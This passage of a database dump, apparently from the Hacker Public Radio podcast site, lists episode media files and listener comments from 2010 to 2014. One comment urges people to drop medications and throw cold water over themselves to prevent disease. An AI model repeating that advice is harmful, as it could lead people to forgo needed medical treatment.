(3875,'hpr3875.wav','wav',161765618,'3de3a63205eecf00878cff40baff44ac55b43dab','audio/x-wav; charset=binary','setgid RIFF (little-endian) data, WAVE audio, mono 192000 Hz'),
(3868,'hpr3868.vtt','vtt',14115,'c1be088bf307e69f74aabc6c9be1179828ec1fe5','text/plain; charset=us-ascii','setgid , ASCII text'),
(3868,'hpr3868.json','json',65731,'99e4da510e30a01ea22f891a0277534c7603a279','application/json; charset=us-ascii','setgid JSON data'),
(3868,'hpr3868.tsv','tsv',12640,'efba9f9ebf606d0cffc826f18d4e19179ab7a64b','text/plain; charset=us-ascii','setgid , ASCII text'),
(3868,'hpr3868.txt','txt',10832,'4b4bec53be7bbd7402a15819e305c9854ffd239e','text/plain; charset=us-ascii','setgid , ASCII text'),
(3868,'hpr3868.srt','srt',15309,'5e6edbaa7d30c22bc92f522e6e6aca4cf35e8af0','text/plain; charset=us-ascii','setgid , ASCII text'),
(3862,'Screenshot_from_2023-05-12_10-21-19_tn.png','png',54015,'f8b2315141284be1a145d201f6be0d57379c3d58','image/png; charset=binary','setgid PNG image data, 800 x 352, 8-bit/color RGBA, non-interlaced'),
(3862,'Screenshot_20230512-203051-774_tn.png','png',74724,'e2cb31ba14fd71a633b6073755a6d5e17950163b','image/png; charset=binary','setgid PNG image data, 800 x 332, 8-bit/color RGBA, non-interlaced'),
(3862,'hpr3862.json','json',47650,'4d47c69621125a81dea0e2885f33701d71203e6a','application/json; charset=us-ascii','setgid JSON data'),
(3862,'Screenshot_from_2023-05-12_10-21-19.png','png',19853,'cd5d3e312cf721ecbaa393685e4ebdb0d62274b2','image/png; charset=binary','setgid PNG image data, 548 x 241, 8-bit/color RGBA, non-interlaced'),
(3862,'hpr3862.vtt','vtt',9821,'fb71325089fd018cda871b7ab31a7fd41bd10384','text/plain; charset=us-ascii','setgid , ASCII text'),
(3862,'Screenshot_20230512-203159-556.png','png',67210,'3b72b607019a97da54e2aef079ea33be2edc5101','image/png; charset=binary','setgid PNG image data, 522 x 769, 8-bit/color RGBA, non-interlaced'),
(3862,'Screenshot_20230512-203233-900_tn.png','png',43194,'abb7d8390de69ddf2b8ed4a4269280fb0246042c','image/png; charset=binary','setgid PNG image data, 800 x 356, 8-bit/color RGBA, non-interlaced'),
(3862,'Screenshot_20230512-203159-556_tn.png','png',169609,'c37cac51373507a29ba7e48d1cb54fa963dc1e56','image/png; charset=binary','setgid PNG image data, 800 x 1179, 8-bit/color RGBA, non-interlaced'),
(3862,'hpr3862.tsv','tsv',8673,'a4c25fde841c42008c825ff3c637652924d39c98','text/plain; charset=us-ascii','setgid , ASCII text'),
(3862,'Screenshot_20230512-203233-900.png','png',22536,'43ad881dd5314a432488620dccdc836be4f59220','image/png; charset=binary','setgid PNG image data, 720 x 320, 8-bit/color RGBA, non-interlaced'),
(3862,'hpr3862.txt','txt',7263,'97a90438e13e17e2ea3f58f3ffbd59aff65eec43','text/plain; charset=us-ascii','setgid , ASCII text'),
(3862,'Screenshot_20230512-203051-774.png','png',37366,'52675c4d31285a06b505067fc572a38bfb0983fe','image/png; charset=binary','setgid PNG image data, 720 x 299, 8-bit/color RGBA, non-interlaced'),
(3862,'hpr3862.srt','srt',10725,'4817cd9f0b92c5c1a4f5478955eb39f377cba276','text/plain; charset=us-ascii','setgid , ASCII text'),
(3872,'hpr3872.flac','flac',140504622,'ed8690f386b73547ef491651ada11d20a0514210','audio/flac; charset=binary','setgid FLAC audio bitstream data, 16 bit, mono, 192 kHz, 347658537 samples'),
(3879,'hpr3879.opus','opus',23533809,'8b5b2987386d2894a9fa9757e0e5c5d511b2b391','audio/ogg; charset=binary','setgid Ogg data, Opus audio,'),
(3875,'hpr3875_source.wav','wav',60104748,'b30280508d0f44be0d5712483da48c0a709bdf01','audio/x-wav; charset=binary','setgid RIFF (little-endian) data, WAVE audio, Microsoft PCM, 16 bit, stereo 44100 Hz'),
(3876,'hpr3876.tsv','tsv',9342,'760460983760ec4cc9f7ce7b78d71606b81e4e22','text/plain; charset=us-ascii','setgid , ASCII text'),
(3876,'hpr3876.txt','txt',7632,'ed83aa5ed37ca4414c40f065120e9b7c8e3f7f75','text/plain; charset=us-ascii','setgid , ASCII text'),
(3876,'hpr3876.srt','srt',11864,'e7de07f01cedf0308b4ae6e77c776822f4c43939','text/plain; charset=us-ascii','setgid , ASCII text'),
(3876,'hpr3876.vtt','vtt',10740,'8e92afac721ca0bcf5c68d81d14bb1fe4f799b26','text/plain; charset=us-ascii','setgid , ASCII text'),
(3876,'hpr3876.json','json',53821,'480758dba925fa660dda8202ffdb224186e5e4fa','application/json; charset=us-ascii','setgid JSON data'),
(3889,'hpr3889.spx','spx',1044459,'78e335efd42d98501bfc1aaa1489ed31db2f0920','audio/ogg; charset=binary','setgid Ogg data, Speex audio'),
(3873,'hpr3873_source.ogg','ogg',1472926,'1ee6d01c5937a9ef9009bd83039a192e9d2943c4','audio/ogg; charset=binary','setgid Ogg data, Vorbis audio, stereo, 44100 Hz, ~160000 bps, created by: Xiph.Org libVorbis I'),
(3885,'hpr3885.srt','srt',144531,'52819dfd0f822d9efa30d9226b89a54932583f07','text/plain; charset=utf-8','setgid , UTF-8 Unicode text'),
(3885,'hpr3885.json','json',821471,'1784ce3713f288bde0bb737a7db0c7c9ebac6c53','text/plain; charset=us-ascii','setgid , ASCII text, with very long lines, with no line terminators'),
(3885,'hpr3885.txt','txt',38502,'4ba286f67a420ac8f3aa80de8423b737d83f0eaa','text/plain; charset=utf-8','setgid , UTF-8 Unicode text'),
(3885,'hpr3885.vtt','vtt',118595,'c62f948bea774a20e27482572cd127341069fd24','text/plain; charset=utf-8','setgid , UTF-8 Unicode text'),
(3885,'hpr3885.tsv','tsv',85240,'9ca2a7f2b7875444dba286d44af110f5fc5e9531','text/plain; charset=utf-8','setgid , UTF-8 Unicode text'),
(3872,'hpr3872.wav','wav',695318508,'756d14cfa81c0182f68c64702b9c5335ea4bbbd8','audio/x-wav; charset=binary','setgid RIFF (little-endian) data, WAVE audio, mono 192000 Hz'),
(3865,'hpr3865.json','json',193335,'760a72f0024a7e6d3d9ea20c9e89c83e8d3d88a3','application/json; charset=us-ascii','setgid JSON data'),
(3865,'hpr3865.txt','txt',29790,'872c3baad8f69fd00ed6c7a5a167f69299c50d55','text/plain; charset=us-ascii','setgid , ASCII text'),
(3865,'hpr3865.vtt','vtt',40123,'2c47c108b243c996ba7278bf674bb6bb229bd82b','text/plain; charset=us-ascii','setgid , ASCII text'),
(3865,'hpr3865.tsv','tsv',35941,'ae614d18685acc38833c228775655052dccd315d','text/plain; charset=us-ascii','setgid , ASCII text'),
(3865,'hpr3865.srt','srt',44137,'f91eecc7f73466bc6e2c71abdd5b97460a9956a2','text/plain; charset=us-ascii','setgid , ASCII text'),
(3893,'hpr3893.json','json',228374,'e1e6c61ad2d1b185a8026de91251d812357a7e6e','application/json; charset=us-ascii','setgid JSON data'),
(3893,'hpr3893.txt','txt',37430,'c8212bafc9a9e8ed59ce9456cc35a2b2d3cb6eb5','text/plain; charset=us-ascii','setgid , ASCII text'),
(3893,'hpr3893.tsv','tsv',44073,'fbfc5e2ad1f6ec4a195ce2fd6e8d53b9f6727c26','text/plain; charset=us-ascii','setgid , ASCII text'),
(3893,'hpr3893.srt','srt',52862,'c90752e72c21bbb14d41c3c62cb934baa7290b79','text/plain; charset=us-ascii','setgid , ASCII text'),
(3878,'hpr3878.wav','wav',244965356,'b90be6034646fbe5fab8feb4bd99eb94ebfb7106','audio/x-wav; charset=binary','setgid RIFF (little-endian) data, WAVE audio, mono 192000 Hz'),
(3888,'hpr3888.tsv','tsv',10557,'2567f8dd86e47f627834f5e61f54fa4eed7d5323','text/plain; charset=us-ascii','setgid , ASCII text'),
(3888,'hpr3888.json','json',52987,'7826ac8aae23b98d29fa376bfa092900e97369cd','application/json; charset=us-ascii','setgid JSON data'),
(3888,'hpr3888.txt','txt',9173,'0cfa171254a82d3c53acf5119c8f75344a2db77d','text/plain; charset=us-ascii','setgid , ASCII text'),
(3888,'hpr3888.vtt','vtt',11681,'156230a54b550c43c93b8a97a80761ff72bc096e','text/plain; charset=us-ascii','setgid , ASCII text'),
(3888,'hpr3888.srt','srt',12565,'7b9558f8d8a951012bf7da138a67061a3a3f7db3','text/plain; charset=us-ascii','setgid , ASCII text'),
(3873,'hpr3873.opus','opus',2276481,'36b1518d3ac027f2ef1f9f6af94ed23661437dd7','audio/ogg; charset=binary','setgid Ogg data, Opus audio,'),
(3875,'hpr3875.flac','flac',30881228,'80af8e47e4fb55e4d38e4c55c86e5e8a039cebcb','audio/flac; charset=binary','setgid FLAC audio bitstream data, 16 bit, mono, 192 kHz, 80882086 samples'),
(3885,'hpr3885.opus','opus',59464515,'d1dd3b4322b6bea4c4cc599e90d8f656410d62b3','audio/ogg; charset=binary','setgid Ogg data, Opus audio,'),
(3901,'hpr3901.ogg','ogg',11433439,'70cf5e792fc812055513152f39b6e0bfd323d232','audio/ogg; charset=binary','setgid Ogg data, Opus audio,'),
(3941,'hpr3941.ogg','ogg',35795092,'6f8f40dcfd68281be73663c3f4fd842297912376','audio/ogg; charset=binary','setgid Ogg data, Opus audio,'),
(3867,'hpr3867.srt','srt',12071,'44ba1bc4ff40d1ab4bfc1bfabbbddf1785bfc528','text/plain; charset=us-ascii','setgid , ASCII text'),
(3867,'hpr3867.tsv','tsv',8759,'eabe1f59a43f4ef9113dd36b473361b5aa9134ba','text/plain; charset=us-ascii','setgid , ASCII text'),
(3867,'hpr3867.json','json',59017,'4a7af98446575e96a74ad74d218f352ae44db9c3','application/json; charset=us-ascii','setgid JSON data'),
(3867,'hpr3867.txt','txt',6509,'0a9bbbb74e61d51c31f3727d165314258fa98b65','text/plain; charset=us-ascii','setgid , ASCII text'),
(3867,'hpr3867.vtt','vtt',10567,'d9ec030e69813ec051844d1ad95d7ca97ca9aad8','text/plain; charset=us-ascii','setgid , ASCII text'),
(3869,'hpr3869.opus','opus',8762923,'fe7c2293a2cb07cc95bb3a9d3fdf838b1a5d937f','audio/ogg; charset=binary','setgid Ogg data, Opus audio,'),
(3901,'hpr3901.opus','opus',11433652,'5e12695862f701e95ce659ac8ffcb75641975d4c','audio/ogg; charset=binary','setgid Ogg data, Opus audio,'),
(3869,'hpr3869_source.flac','flac',68700706,'b238a8c734323e3ac17f1b1f2aa700cf72ff28ce','audio/flac; charset=binary','setgid FLAC audio bitstream data, 24 bit, mono, 44.1 kHz, 36868771 samples'),
(3875,'hpr3875.opus','opus',3572099,'97e1cba889f56dc3b60044b3b1c9a27ea344c065','audio/ogg; charset=binary','setgid Ogg data, Opus audio,'),
(3887,'hpr3887.json','json',181424,'545b35f2af4bd08cd229ac7e0d6c0cb8f14809a9','application/json; charset=us-ascii','setgid JSON data'),
(3887,'hpr3887.txt','txt',24681,'f91b8b8f00e284ada393649ffc0907fbbeb0acf2','text/plain; charset=us-ascii','setgid , ASCII text'),
(3887,'hpr3887.srt','srt',39343,'0885ab55e886b311d5ab4b775257a293833c1f76','text/plain; charset=us-ascii','setgid , ASCII text'),
(3887,'hpr3887.vtt','vtt',35239,'1701aba28f08b2067e6fd9788724635ea250ab73','text/plain; charset=us-ascii','setgid , ASCII text'),
(3887,'hpr3887.tsv','tsv',30900,'bd65f44095ca21a8c4abee08074e5dfbc19264a9','text/plain; charset=us-ascii','setgid , ASCII text'),
(3901,'hpr3901.mp3','mp3',10551032,'7325b3c6b38500e840298717a7daaf8948cb5af1','audio/mpeg; charset=binary','setgid Audio file with ID3 version 2.4.0, contains:MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural');
/*!40000 ALTER TABLE `assets` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `comments`
--

DROP TABLE IF EXISTS `comments`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `comments` (
  `id` int(5) NOT NULL AUTO_INCREMENT,
  `eps_id` int(5) NOT NULL,
  `comment_timestamp` datetime NOT NULL,
  `comment_author_name` text DEFAULT NULL,
  `comment_title` text DEFAULT NULL,
  `comment_text` text DEFAULT NULL,
  `last_changed` datetime NOT NULL DEFAULT current_timestamp(),
  PRIMARY KEY (`id`),
  KEY `comments_eps_id_idx` (`eps_id`)
) ENGINE=MyISAM AUTO_INCREMENT=3786 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci COMMENT='New comments table populated from c5t_* tables';
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `comments`
--

LOCK TABLES `comments` WRITE;
/*!40000 ALTER TABLE `comments` DISABLE KEYS */;
INSERT INTO `comments` (`id`, `eps_id`, `comment_timestamp`, `comment_author_name`, `comment_title`, `comment_text`, `last_changed`) VALUES (1,8,'2013-12-20 03:27:16','redanthrax','this is dumb','who even made this','2017-09-09 07:41:21'),
(2,8,'2013-12-21 01:08:02','Ken Fallon','Actually, no','Hi redanthrax,\r\n\r\nAnd the show was by Mubix and Redanthrax. If that is you then I assume you are being vicious. If not you are been less than constructive, for no other reason than someone is using the same handle as yourself. \r\n\r\nKen.','2017-09-09 07:41:21'),
(3,21,'2011-10-16 16:36:01','Ken Fallon','Found it !!!','After months of trawling through old episodes of lottalinuxlinks.com for Daves howto on festival. I found it here in our own back yard\r\n','2017-09-09 07:41:21'),
(4,23,'2011-08-25 19:41:48','jogos de motos','','To add the new PPA open the Ubuntu Program Middle, go to the Edit Menu, and select Program Sources. Access the Other Program Tab in the Program Sources Window and add the first of the PPAs shown below (outlined in red). The second PPA will be automatically added to your technique.\r\n\r\nHave you been wanting an simple way to set KeePass Password Safe two up on your Linux systems? Then get prepared to rejoice. Now you can get that KeePass goodness on your Ubuntu or Debian-Based Linux technique using a PPA, the Command Line, or manual installation files.','2017-09-09 07:41:21'),
(5,131,'2013-08-18 00:23:45','meager','sync apps','There are multiple apps available for CardDAV contact syncing. And I think there are also better alternatives to CardDAV-Sync, e.g. an app called ContactSync (its cheaper, has much more fettues, and so). Found it at the play store:\r\n https://play.google.com/store/apps/details?id=com.vcard.android','2017-09-09 07:41:21'),
(6,186,'2010-09-05 11:07:58','Sildenafil','','I read on the forums about klaatu and \"Vulgar Esperantist\"','2017-09-09 07:41:21'),
(7,186,'2011-02-03 10:53:06','Trey Smith','Trey Smith','Thanks for sharing the idea.\r\n\r\n','2017-09-09 07:41:21'),
(8,248,'2011-03-11 23:07:40','pokey','I miss your HPR shows.','They were some of my favorites. Can I send you an HPR window sticker to thank you for them?\r\nhttps://picasaweb.google.com/hackerpublicradio/HPRStickersInTheWild#','2017-09-09 07:41:21'),
(9,367,'2014-07-07 10:28:25','Georgi ','','Very nice song. There should be more songs like this in the hackers realm. Reminds me a bit of good old Richard Stallman\'s songs :)','2017-09-09 07:41:21'),
(10,502,'2010-12-21 16:21:23','KFive','Cheers','Just wanted to let you know that your discussion in this episode really hit home for me and so far remains my favorite HPR episode of all time. Keep up the great, great work.','2017-09-09 07:41:21'),
(11,560,'2010-08-10 22:16:33','rowinggolfer','I actually listened','unlike all the spambots above... I listened to this episode. \r\nFantastic insight.\r\nlostnbronx is my favourite podcaster of all time. I do hope he never quits.\r\n','2017-09-09 07:41:21'),
(12,562,'2010-08-13 22:22:08','rowinggolfer','great ep ken','Superb episode. good topic, length, and content. I look forward to the rest of this series.\r\n\r\nBTW - looks like the spammers have beaten the capchtas :(','2017-09-09 07:41:21'),
(13,564,'2010-09-26 22:45:25','klaatu','great ep ','I somehow missed this ep.  Just listened to it though, very cool!  Thanks!!\r\n\r\nSorry I left all my spam links at home.  ','2017-09-09 07:41:21'),
(14,567,'2010-09-02 16:42:35','sigflup','','Yeah i know technically cray started in minnesota and ended in wisconsin. ','2017-09-09 07:41:21'),
(15,570,'2010-09-15 18:07:35','Ken Fallon','That\'s my show and I want it back','Actually you can file it under Dan E. Speak :)','2017-09-09 07:41:21'),
(16,571,'2010-09-23 04:25:19','Sigflup','','Hack Radio Live iz 4 life!!!!','2017-09-09 07:41:21'),
(17,573,'2010-09-28 11:35:48','ClaudioM','Thoroughly Impressed! ;-)','Wow!  Never thought my spot on Linux In The Ham Shack would have attracted so many spammers!  Now I know who my groupies are. :-p','2017-09-09 07:41:21'),
(18,589,'2010-11-12 16:45:05','Fightmaster','Thanks for listening','We are very happy to have you listening to Song Fight, and appreciate the effort you took to listen to all those terrible terrible songs (and the good ones).\r\n\r\nAdditionally, thanks so much for sharing the songs you like with others. That\'s why we do Song Fight.\r\n\r\nWe hereby absolve you of guilt for spending 8GB of our bandwidth in downloading the entire archive. :)\r\n\r\nI\'ll enjoy listening for Song Fight songs at the end of your podcasts.','2017-09-09 07:41:21'),
(19,589,'2010-11-15 13:24:41','pokey','Thank you','Thank you, very much, Fightmaster. That\'s quite an endorsement. And the absolution is much appreciated well. I haven\'t come close to listening to them all yet, but I\'ve been through all the artists with names beginning with a, b and numbers or special characters. I\'ve got 69 (no joke) songs on the thumbs up list so far, and that\'s more than I\'ll probably ever be able to spend here. I\'ve emailed my list to whoever asks for it. I\'m not afraid of not finding any more. Thanks again.','2017-09-09 07:41:21'),
(20,589,'2010-12-04 11:55:44','Ken Fallon','HPR to the rescue','After listening to TLLT\'s interview with Nathan Lowell, I set about downloading https://www.podiobooks.com/title/captains-share individually. The I remembered this episode and installed the DownThemAll plugin. It does what it says on the tin. Thanks\r\n\r\nNote to self this is not spam','2022-02-14 13:15:29'),
(21,595,'2010-11-13 04:01:20','Charles','Read N\' Code','Great show! As a lover of literature, philosophy, and programming, I thought you did a great job and await your next installment. Keep it up!','2017-09-09 07:41:21'),
(22,595,'2010-12-03 23:22:29','Buffalo Pete','Great work!','This is fantastic! What an original idea, and very well laid out in this first episode! I can\'t wait for the next one!','2017-09-09 07:41:21'),
(23,595,'2011-01-03 11:57:51','dismal science','Fantastic!','You really zero\'s down on the Python value proposition.  There are alot of people who love python, but I am not sure I have ever heard a more convincing argument.','2017-09-09 07:41:21'),
(24,599,'2010-11-19 03:07:19','pokey','This episode was fascinating','I was completely riveted. It inspired me to call my ISP and ask to be a guinea pig, I mean early tester, for their ipv6 roll out. They seemed pretty enthusiastic to have a volunteer, and took my contact info. Tech support guy is also part-time sys admin guy, and he liked talking shop more than helping windows users find their WiFi. I got some pretty good info out of him. He mentioned docsis 3.0 as part of the roll out. He also implied that it was coming sooner, rather than later. Apparently, they just bought what they were told is their last allotment of ipv4 addresses, but they have only just begun to considering their ipv6 strategy. Timing is everything.','2017-09-09 07:41:21'),
(25,602,'2010-11-27 00:40:13','scap','thanks','klaatu thanks for this epiosde and I hope you do alot more on the subject.  Cheers to you and the Hpr crew!','2017-09-09 07:41:21'),
(26,603,'2010-11-27 21:38:32','dave','Great Show','You got me interested in radio communication. :)','2017-09-09 07:41:21'),
(27,606,'2010-11-29 17:26:01','Frank','','Creative topic choice.  I congratulate your creativity.  \r\n\r\nI\'ve built stuff with wood since I was a kid and read books about being Harry Homerepairman and I learned new stuff.\r\n\r\nThanks.','2017-09-09 07:41:21'),
(28,606,'2010-12-07 22:00:18','Chris','Chris\' Blog','This was a great podcast. I\'m currently building a home bar and your tips have helped greatly.\r\n\r\nI also agree that hackers become makers, as I\'m getting more and more into hardware hacking.\r\n\r\nLooking forward to your next submission.','2017-09-09 07:41:21'),
(29,606,'2011-12-02 10:17:18','Bill','','As an ol\' \"out-to-pasture\" shop teacher, I approve of the preceding message.','2017-09-09 07:41:21'),
(30,606,'2011-12-07 19:31:29','pokey','Thanks Bill','I appreciate the compliment. Thanks also for teaching me some of those tricks. The toothpick one at least was yours. Maybe more, but now I forget what\'s in that show.','2017-09-09 07:41:21'),
(31,608,'2011-01-31 15:35:23','droops','','I love hearing these shows of how someone found the Linux light. My main desktop has not had a hardware upgrade since 2002, and it is still running Debian as well as did back when I built the box.  \r\n\r\nDid I mention how great Debian is? ','2017-09-09 07:41:21'),
(32,609,'2010-12-02 23:51:09','pokey','This episode was a real pleasure.','I had similar reasons for coming to linux. Tom Merit is high on my list of influences as well. Also, I always love to meet other Christians in the Linux/technology sphere. I\'m not a very good Christian, but I\'m trying, and it really helps me to know I\'m not alone. Maybe you could help me convince my pastor to try Ubuntu some day, so I can stop fixing his Windows machines. ;) I use Linux at our church to display Hymn lyrics and DVDs on a projector screen. I\'m also planning to migrate some of the CD audio to the Computer as well.\r\nThank you for the great episode. I hope it\'s only the first of many.\r\n\r\npokey','2017-09-09 07:41:21'),
(33,609,'2010-12-05 15:04:19','klaatu','nice episode~','Nice episode!  You sound like one of them professional voice actors or news anchors.\r\n\r\nAnd yeah ,spreading Linux is a good thing!','2017-09-09 07:41:21'),
(34,609,'2010-12-07 00:35:43','Curbuntu','Converting OS-Heathen Pastors','Hey, pokey!  Thanks for the feedback.  I understand what you mean about fixing your pastor\'s Windows machine.  A few years ago I was helping out (computer-wise) at a local church.  According to Spybot S&amp;R, the secretary\'s PC had over 24,000 (yes, 5 digits!) hits -- malware, tracking cookies, and various heaps of digital detritus, to say nothing of every system-tray doodad under the sun.  That was well before my Linux days.\r\n\r\nBy and large, it seems that folks (pastors or otherwise) are reticent to trust techies (even well-intentioned ones) with changes that take the organization too far outside of comfortable parameters.  There\'s some wisdom in that.  How many times I\'ve encountered a custom-made, one-off program (say, a database) written for a church; the creator has long since left (for whatever reason) and the organization is stuck with something they can\'t fix, alter, or use.  After an experience or two like that, you can guess what the response will be to \"Hey, change to Linux!\"\r\n\r\nThat said, probably the safest course of action is gradualism.  Linux may be the ultimate goal, but start off with introducing a FOSS alternative that runs in Windows.  MS Office may be another sacred cow (strange that Christians would have \"sacred cows\"!), but the hardiness of Firefox running NoScript might be the first step in the long path to the changeover.  Build on each success by introducing another FOSS alternative.  I can point to a recent success I discovered.  This summer I had the privilege of visiting a Bible college out in the \"hoots and hollers\" of Kentucky.  I was blown away by the server room that two of the graduates-now-staff had put together -- CentOS servers, FOSS phone system, Ubuntu servers.  Wireless for the whole spawling campus, too.  The college board went along with just about everything, because of the tremendous cost savings -- except the board just insisted on Windows 7 and MS Office 2007 in the student computer lab.  Still, it amounted to tremendous inroads made by some really sophisticated, heads-up techies.\r\n\r\nI\'d like to communicate more at length.  Admin/Ken Fallon has the e-mail address of my alter ego.  Or you can combine what you learn in Psalm 81:16 and 147:14 and make a good Google guess about the name of our website and, from there, how to contact me directly.\r\n\r\nRegards,\r\n\r\nCurbuntu','2017-09-09 07:41:21'),
(35,609,'2010-12-07 01:11:42','Curbuntu','Encouragement from a veteran','klaatu,\r\n\r\nComing from someone with your podcasting experience, your words bolster my confidence.  And your recent interviews have given me an idea for doing a multi-part interview of a geekette wannabe friend of mine, someone who, in her early 50s, is trying to make a complete career switch.  Her struggles and successes might be of interest to others.','2017-09-09 07:41:21'),
(36,609,'2010-12-22 19:17:53','buffalo pete','great episode','This was a great one, thank you for sharing! And thank you for integrating your passion for technology into your ministry and your social work. Although I\'m not a Christian, I have a great deal of respect for the work that clergy of all faiths do. Also, as someone who tries to be socially active and a force for good in my own communities, it heartens me to hear another person\'s story of how their passion for free software helps them do that, as it certainly does me.\r\n\r\nOne final note: All the great HPR episodes lately, and especially since the public call for contributions, has really started the wheels turning for me about putting something together to contribute, so thank you also for that.\r\n\r\nGreat show, well done!\r\n\r\n-pete','2017-09-09 07:41:21'),
(37,609,'2011-01-08 22:00:07','RandyNose AKA TheNose100','w00t!','Hey, enjoyed this podcast. And the reasons for not using Windows still stand true today. - With about 3+ er, 4 years of playing with Linux and variations of Ubuntu, I too, don\'t see a reason to use something else. There are only a few programs out there that I might wish to use from time to time, but that\'s due to wanting to connect to others on a Windows Platform... \r\nI.E. Silverlight and Netfiks, and  Webinar\'s that use Go To Meeting... \r\n\r\nRandy','2017-09-09 07:41:21'),
(38,614,'2010-12-10 00:25:13','Curbuntu','Terminology for Dummies','I have the Audacity basics down, but your podcast finally shed some light on terminology I hear sound guys throwing around all the time.  I have it queued up for a re-listen tomorrow, and will probably hit it one more time.  I look forward to the coming installments.','2017-09-09 07:41:21'),
(39,614,'2010-12-15 13:25:25','arfab','Thanks','Hey, thanks for this. \r\nMaybe next time I make a podcast I\'ll take more notice of what you\'ve said here to save everyone the 20Mb download!\r\n\r\nIf you have any more tips, specifically about using Ardour, then that would be fantastic.\r\n\r\nCheers!','2017-09-09 07:41:21'),
(40,616,'2010-12-18 16:19:30','frater mus','useful episode, thanks','Reminded me how much I used to love lynx.  I cranked up surfraw and played with it a bit.  Set it to invoke lynx rather than chrome and it works great.\r\n\r\nAlso inspired me to compare lynx, elinks, and links.  Went back to my first love, lynx.\r\n\r\nBTW, the captcha below is ludicrously illegible.  I hate those things. ','2017-09-09 07:41:21'),
(41,616,'2010-12-20 06:51:11','Ken Fallon','captcha are gone','You have a point and given that the captcha don\'t work anyway I got rid of them. Let\'s see how the spammers react.','2017-09-09 07:41:21'),
(42,617,'2010-12-15 13:22:27','arfab','Interesting!','You made some really important points here.\r\nI would just like to add that IMHO, in an ideal world where music is all creative commons to some degree or another, the likelihood is that there would be an increase in attendance at live gigs because there you could see an artist give a unique performance of their work. More importantly it would mean that in order to obtain popularity and artist would actually need to be good at what they do, so the quality of popular music in general would go up, maybe at the cost of the typical manufactured group that are marketed for their looks rather than their talent as musicians.\r\n\r\nOn a side note, if there was greater demand for live musicians with high quality backing bands then I\'d be making a mint!! :)','2017-09-09 07:41:21'),
(43,617,'2010-12-15 20:25:43','klaatu','agreed','i agree with arfab\'s comment; cc music would absolutely increase attendance.  I\'d LOVE to hear some of my favourite bands covering songs by other bands.  Heck there are songs that I really like and just can\'t listen to because I hate the way its author performs them.  So, yeah, sharing would be great.  But alas, until CC dominates, this will not happen.','2017-09-09 07:41:21'),
(44,620,'2010-12-17 14:15:29','arfab','','We need something like Tek Systems in the UK! :)','2017-09-09 07:41:21'),
(45,621,'2010-12-27 07:54:44','Brijesh','Ayn Rand and Movies','Talking of movies a B&amp;W movie was made on the Fountainhead. The screenplay was by Ayn Rand herself. While not a bad movie it was a pale reflection of the book \"The Fountainhead\" Considering that even Ayn Rand herself could not make it more powerful I am very concerned about the movie. I agree with you guys that the movie should be in parts. Maybe a better idea would be an HBO original series.','2017-09-09 07:41:21'),
(46,621,'2010-12-27 08:01:27','Brijesh','Fantastic','... to hear you red Zen &amp; the art of Motorcycle Maintenance after Atlas Shrugged. For me it was the other way around - I read Zen and the art of Motorcycle Maintenance after Atlas Shrugged. It was a heavy combo and surely influenced a lot of my thinking.','2017-09-09 07:41:21'),
(47,621,'2010-12-29 18:09:33','brother mouse','Shrugged','Man, I\'ve /tried/ to read A.S. a few times but it\'s such an interminable deathmarch.  I\'ve had people recommend that I just jump to the (60pp?) Galt speech and do that if nothing else.  Maybe I will.  \r\n\r\nObjectivist / Libertarian types might also enjoy Stephan Molineaux\'s FDR: \r\nhttps://www.freedomainradio.com/\r\nHe\'s not in either of those camps but I think there\'s plenty of \"paint transfer\" from bumping up against them...  ','2022-02-14 13:15:29'),
(48,621,'2011-01-29 00:13:39','Judas.PhD','Thank You','I think that \"Atlas Shrugged\" is one of the most important books ever written, and is well worth reading.\r\n\r\nI read \"Atlas Shrugged\" in the very early 1990s.\r\n\r\nI am a 46 year old philosophy major, and the anti-Rand sentiment is rampant in academic philosophers, graduate philosophy majors, and undergraduate philosophy majors.\r\n\r\nThank you for giving a positive review of this wonderful book.\r\n','2017-09-09 07:41:21'),
(49,622,'2010-12-22 12:39:36','rustic','cold water','you don\'t need drugs to be healthy. on the contrary, the drugs make you less healthy, so that you need more and more drugs to struggle with consequences of that, because the drugs undermine your stamina and replace your immune system. you become dependent on them and caught in a vicious circle. that\'s exactly what those pharmaceutical corporations want. that\'s how they make their billions.\r\n\r\nthe best way to be healthy is to take preventative measures. our weak immune system is the root cause. now, recall we\'re all children of the mother earth. she gives us everything we really need. she has no incentive to make profit on us. Nature provides us with cold water to deal with that problem. throw a bucket of cold water over yourself twice a day. yes, including your head. it\'s that simple. the colder the water, the better.\r\n\r\ndon\'t rely upon explanations or opinions. just do it and see for yourself.\r\n\r\nsome people might experience flare-ups. this is because your organism starts to fight against your diseases, both observed and hidden. don\'t take any \"medications\".\r\n\r\ni judge from my experience. i have never had the flu or something since my first bucket of cold water.\r\n\r\ngive yourself a chance, because it\'s free and it works. you have nothing to lose but your proneness to illnesses.\r\n\r\ntake care','2017-09-09 07:41:21'),
(50,623,'2010-12-24 03:21:51','Frank','','Thanks for the background to nano.','2017-09-09 07:41:21'),
(51,623,'2010-12-24 03:22:52','Frank','Thanks','I\'ve been using nano more frequently lately and appreciated the insight into its history.','2017-09-09 07:41:21'),
(52,624,'2010-12-24 15:10:36','brother mouse','love this series','The urban camping series is great.  Thanks for sharing!\r\n\r\nI hope the economy doesn\'t get so bad that we all need the info you provide...','2017-09-09 07:41:21'),
(53,624,'2010-12-26 08:04:59','Petey','','Why is it I can\'t get enough of this series.\r\n\r\nGood Stuff. ','2017-09-09 07:41:21'),
(54,625,'2010-12-29 18:01:25','brother mouse','Enjoyed the two-person show','I hope to not ever have to run eth in my house :-) but really enjoyed the format of this show.  The combination of master/student made for good balance.','2017-09-09 07:41:21'),
(55,625,'2010-12-29 18:26:22','klaatu','never knew cables could be so fun','Very informative episode.  Also, perhaps the largest file size for even an hour-long mp3 I\'ve EVER seen.  Good goin\' guys!','2017-09-09 07:41:21'),
(56,625,'2010-12-30 17:10:58','pokey','','brother mouse: Thanks. Your show was very good. I liked it too.\r\n\r\nklaatu: I release it at whatever bitrate the song is in when I get it. So that I don\'t degrade the audio too much. But the large file size is really just needed to contain all the AWESOME! that is resno.','2017-09-09 07:41:21'),
